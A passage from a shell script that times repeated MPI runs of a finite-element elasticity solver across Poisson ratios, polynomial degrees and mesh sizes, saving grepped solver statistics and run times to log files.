nodes\\|Time (sec)\\|noether with\" > log_files/\"101_linE_nu_0.49999_deg_2_h_97_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"101_linE_nu_0.49999_deg_2_h_97_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"102_linE_nu_0.49999_deg_3_h_8_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"102_linE_nu_0.49999_deg_3_h_8_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"103_linE_nu_0.49999_deg_3_h_8_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"103_linE_nu_0.49999_deg_3_h_8_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 8 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"104_linE_nu_0.49999_deg_3_h_8_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"104_linE_nu_0.49999_deg_3_h_8_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"105_linE_nu_0.49999_deg_3_h_16_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"105_linE_nu_0.49999_deg_3_h_16_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"106_linE_nu_0.49999_deg_3_h_16_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"106_linE_nu_0.49999_deg_3_h_16_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 16 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"107_linE_nu_0.49999_deg_3_h_16_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"107_linE_nu_0.49999_deg_3_h_16_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"108_linE_nu_0.49999_deg_3_h_17_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"108_linE_nu_0.49999_deg_3_h_17_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"109_linE_nu_0.49999_deg_3_h_17_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"109_linE_nu_0.49999_deg_3_h_17_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 3 h: 17 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"110_linE_nu_0.49999_deg_3_h_17_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"110_linE_nu_0.49999_deg_3_h_17_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"111_linE_nu_0.49999_deg_4_h_4_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"111_linE_nu_0.49999_deg_4_h_4_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"112_linE_nu_0.49999_deg_4_h_4_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"112_linE_nu_0.49999_deg_4_h_4_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 4 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"113_linE_nu_0.49999_deg_4_h_4_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"113_linE_nu_0.49999_deg_4_h_4_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"114_linE_nu_0.49999_deg_4_h_5_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"114_linE_nu_0.49999_deg_4_h_5_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"115_linE_nu_0.49999_deg_4_h_5_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"115_linE_nu_0.49999_deg_4_h_5_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 5 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"116_linE_nu_0.49999_deg_4_h_5_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"116_linE_nu_0.49999_deg_4_h_5_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"117_linE_nu_0.49999_deg_4_h_6_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"117_linE_nu_0.49999_deg_4_h_6_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"118_linE_nu_0.49999_deg_4_h_6_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"118_linE_nu_0.49999_deg_4_h_6_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 4 h: 6 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"119_linE_nu_0.49999_deg_4_h_6_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"119_linE_nu_0.49999_deg_4_h_6_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"120_linE_nu_0.499999_deg_2_h_13_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"120_linE_nu_0.499999_deg_2_h_13_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"121_linE_nu_0.499999_deg_2_h_13_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"121_linE_nu_0.499999_deg_2_h_13_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"122_linE_nu_0.499999_deg_2_h_13_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"122_linE_nu_0.499999_deg_2_h_13_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"123_linE_nu_0.499999_deg_2_h_38_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"123_linE_nu_0.499999_deg_2_h_38_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"124_linE_nu_0.499999_deg_2_h_38_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"124_linE_nu_0.499999_deg_2_h_38_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"125_linE_nu_0.499999_deg_2_h_38_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"125_linE_nu_0.499999_deg_2_h_38_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"126_linE_nu_0.499999_deg_2_h_39_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"126_linE_nu_0.499999_deg_2_h_39_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"127_linE_nu_0.499999_deg_2_h_39_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"127_linE_nu_0.499999_deg_2_h_39_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"128_linE_nu_0.499999_deg_2_h_39_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"128_linE_nu_0.499999_deg_2_h_39_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"129_linE_nu_0.499999_deg_2_h_110_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"129_linE_nu_0.499999_deg_2_h_110_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"130_linE_nu_0.499999_deg_2_h_110_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"130_linE_nu_0.499999_deg_2_h_110_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"131_linE_nu_0.499999_deg_2_h_110_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"131_linE_nu_0.499999_deg_2_h_110_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"132_linE_nu_0.499999_deg_3_h_7_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"132_linE_nu_0.499999_deg_3_h_7_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"133_linE_nu_0.499999_deg_3_h_7_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"133_linE_nu_0.499999_deg_3_h_7_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"134_linE_nu_0.499999_deg_3_h_7_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"134_linE_nu_0.499999_deg_3_h_7_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"135_linE_nu_0.499999_deg_3_h_8_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"135_linE_nu_0.499999_deg_3_h_8_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"136_linE_nu_0.499999_deg_3_h_8_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"136_linE_nu_0.499999_deg_3_h_8_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"137_linE_nu_0.499999_deg_3_h_8_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"137_linE_nu_0.499999_deg_3_h_8_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"138_linE_nu_0.499999_deg_3_h_16_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"138_linE_nu_0.499999_deg_3_h_16_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"139_linE_nu_0.499999_deg_3_h_16_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"139_linE_nu_0.499999_deg_3_h_16_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"140_linE_nu_0.499999_deg_3_h_16_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"140_linE_nu_0.499999_deg_3_h_16_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"141_linE_nu_0.499999_deg_3_h_17_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"141_linE_nu_0.499999_deg_3_h_17_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"142_linE_nu_0.499999_deg_3_h_17_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"142_linE_nu_0.499999_deg_3_h_17_cpu_16_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"143_linE_nu_0.499999_deg_3_h_17_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"143_linE_nu_0.499999_deg_3_h_17_cpu_16_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"144_linE_nu_0.499999_deg_4_h_5_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"144_linE_nu_0.499999_deg_4_h_5_cpu_16_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 16 cores run 